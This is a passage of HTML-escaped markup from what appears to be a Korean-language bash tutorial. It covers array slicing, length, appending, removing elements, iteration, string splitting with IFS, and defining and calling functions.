&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;번외 : bash와 zsh는 인덱싱하는 위치가 다르다. &lt;br /&gt; bash는 0부터 시작하지만 zsh는 1부터 시작한다. (zsh에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setopt ksharrays&lt;/code&gt; 옵션을 사용하면 0부터 시작한다.) &lt;br /&gt; 이 때 bash와 zsh 모두 호환성을 유지하고싶다면 아래와 같이 사용하면 된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;asdf&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;qwer qwer&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;zxcv zxcv zxcv&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;1234 1234 1234 1234&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 마지막 요소 출력&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;:&lt;span class=&quot;k&quot;&gt;${#&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-1&lt;/span&gt;:1&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1234 1234 1234 1234&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 첫(0) 번째 요소 출력&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;:0:1&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# asdf&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 두(1) 번째 요소 출력&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;:1:1&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# qwer qwer&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;배열의-특정-요소부터-특정-요소까지-출력하고-싶어요&quot;&gt;배열의 특정 요소부터 특정 요소까지 출력하고 싶어요&lt;/h3&gt; &lt;p&gt;문자열의 특정 요소를 출력하는 것과 동일하게 사용하면 된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;asdf&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;qwer qwer&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;zxcv zxcv zxcv&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;1234 1234 1234 1234&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 첫(0) 번째 요소를 제외한 나머지 요소 출력&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;:1:&lt;span class=&quot;k&quot;&gt;${#&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 마지막 요소를 제외한 나머지 요소 출력&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;:0:&lt;span class=&quot;k&quot;&gt;${#&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;testarr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;-1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;배열의-길이-size-를-확인하고-싶어요&quot;&gt;배열의 길이 (size) 를 확인하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${#varname[@]}&lt;/code&gt; 를 이용한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;1 2 3 4 5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${#&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 5&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;배열에-요소를-추가하고-싶어요&quot;&gt;배열에 요소를 추가하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+=&lt;/code&gt; 을 사용한다. 추가 시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;( )&lt;/code&gt; 로 묶어주지 않으면 첫 번째 인덱스의 값에 추가됨을 유의하자.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;1 2 3 4 5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; var1+&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;6&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1 2 3 4 5 6&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# ERR&lt;/span&gt; var1+&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1 &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 11 2 3 4 5 6&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;배열에-요소를-제거하고-싶어요&quot;&gt;배열에 요소를 제거하고 싶어요&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt; 를 사용한다. &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;1 2 3 4 5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]/2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1 3 4 5&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unset&lt;/code&gt;을 사용한다. &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;1 2 3 4 5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;unset &lt;/span&gt;var1[1] &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1 3 4 5&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;&lt;strong&gt;주의사항&lt;/strong&gt; &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt;는 요소를 제거하는 것이 아닌 리스트 내 매칭되는 string을 제거하는 것에 유념하자. &lt;br /&gt; 아래 예시를 보면 var[2]는 32 이지만 2 제거 후 3이 출력되는 것을 볼 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;1 2 32 4 5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]/2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1 3 4 5&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;배열을-순회하고-싶어요&quot;&gt;배열을 순회하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;for&lt;/code&gt;를 사용한다. foreach 형식으로 순회하여도 되고 for로 인덱스를 직접접근 할 수도 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;1 2 3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 2&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 3&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; i&amp;lt;&lt;span class=&quot;k&quot;&gt;${#&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; i++ &lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 2&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 3&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;문자열을-리스트로-나누고-싶어요&quot;&gt;문자열을 리스트로 나누고 싶어요&lt;/h3&gt; &lt;h4 id=&quot;--공백을-기준으로-문자열을-리스트로-나누고-싶을-때&quot;&gt;’ ‘ 공백을 기준으로 문자열을 리스트로 나누고 싶을 때&lt;/h4&gt; &lt;p&gt;그냥 변수를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;( )&lt;/code&gt; 로 감싸주면 끝&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;qwer asdf zxcv&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;var2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;n-개행-등-기타-구분자를-기준으로-문자열을-리스트로-나누고-싶을-때&quot;&gt;‘\n’ 개행 등 기타 구분자를 기준으로 문자열을 리스트로 나누고 싶을 때&lt;/h4&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IFS&lt;/code&gt; 를 구분자로 지정하여 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;( )&lt;/code&gt; 로 감싸주면 끝&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;qwer asdf zxcv&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;SAVEIFS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$IFS&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 기존 IFS 저장&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;IFS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;$&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# IFS 재설정&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;var2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 리스트로 변환&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;IFS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$SAVEIFS&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# IFS 복원&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;함수&quot;&gt;함수&lt;/h2&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;function 함수명() { }&lt;/code&gt; 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;함수명() { }&lt;/code&gt; 로 함수를 정의한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;function &lt;/span&gt;func1&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;func1&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func2&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;func2&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;정의한-함수를-사용하고-싶어요&quot;&gt;정의한 함수를 사용하고 싶어요&lt;/h3&gt; &lt;p&gt;함수명으로 사용하면 된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;func&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;argument까지 같이 전달하고 싶을 때에는 함수명 뒤에 argument를 같이 입력해주면 된다. &lt;br /&gt; argument는 공백으로 구분된다. &lt;br /&gt; 따라서 공백을 포함하여 argument로 전달하고 싶을 때에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos; &apos;&lt;/code&gt; 작은따옴표나 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot; &quot;&lt;/code&gt; 큰따옴표로 감싸주면 된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;func&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# ... code ...&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; func &lt;span class=&quot;s2&quot;&gt;&quot;qwer&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;asdf zxcv&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;함수에-로컬-변수를-사용하고-싶어요&quot;&gt;함수에 로컬 변수를 사용하고 싶어요&lt;/h3&gt; 